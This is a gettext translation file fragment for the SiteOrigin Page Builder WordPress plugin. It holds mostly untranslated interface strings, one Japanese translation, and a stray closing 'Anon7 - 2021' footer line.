#: widgets/widgets/testimonial/testimonial.php:32
msgid "URL"
msgstr ""

#: siteorigin-panels.php:1254
msgid "The widget 1{%1$s} is not available. Please try locate and install the missing plugin. Post on the 2{support forums} if you need help."
msgstr ""

#: tpl/js-templates.php:64
msgid "Add a 1{widget}, 2{row} or 3{prebuilt layout} to get started. Read our 4{documentation} if you need help."
msgstr "1{ウィジェット}, 2{行} または 3{あらかじめ構築されたレイアウト} を追加しはじめる。ヘルプが必要な場合は 4{ドキュメンテーション} 読んでください。 "

#: widgets/basic.php:15
msgid "A complete SiteOrigin Page Builder layout as a widget."
msgstr ""

#: widgets/widgets/testimonial/testimonial.php:8
msgid "Displays a bullet list of points"
msgstr ""

#: inc/widgets.php:118
msgid "Enable more widgets in the 1{Widgets Bundle settings}."
msgstr ""

#: inc/widgets.php:127
msgid "Install the 1{Widgets Bundle} to get extra widgets."
msgstr ""

#: inc/widgets.php:140
msgid "You can enable the legacy (PB) widgets in the 1{Page Builder settings}."
msgstr ""

#: siteorigin-panels.php:1231
msgid "You need to install 1{%1$s} to use the widget 2{%2$s}."
msgstr ""

#: settings/tpl/help.php:6
msgid "Please read the 1{settings guide} of the Page Builder documentation for help."
msgstr ""

#: tpl/admin-home-page.php:29
msgid "Home page updated. 1{View page}."
msgstr ""

#: widgets/basic.php:469 widgets/widgets.php:629
msgid "Additional query arguments. See 1{query_posts}."
msgstr ""

#: tpl/help.php:18
msgid "Read the 1{full documentation} on SiteOrigin. Ask a question on our 2{support forum} if you need help and sign up to 3{our newsletter} to stay up to date with future developments."
msgstr ""

#: tpl/js-templates.php:302
msgid "1{Set row layout}: %1$s columns with a ratio of %2$s going from %3$s"
msgstr ""

Anon7 - 2021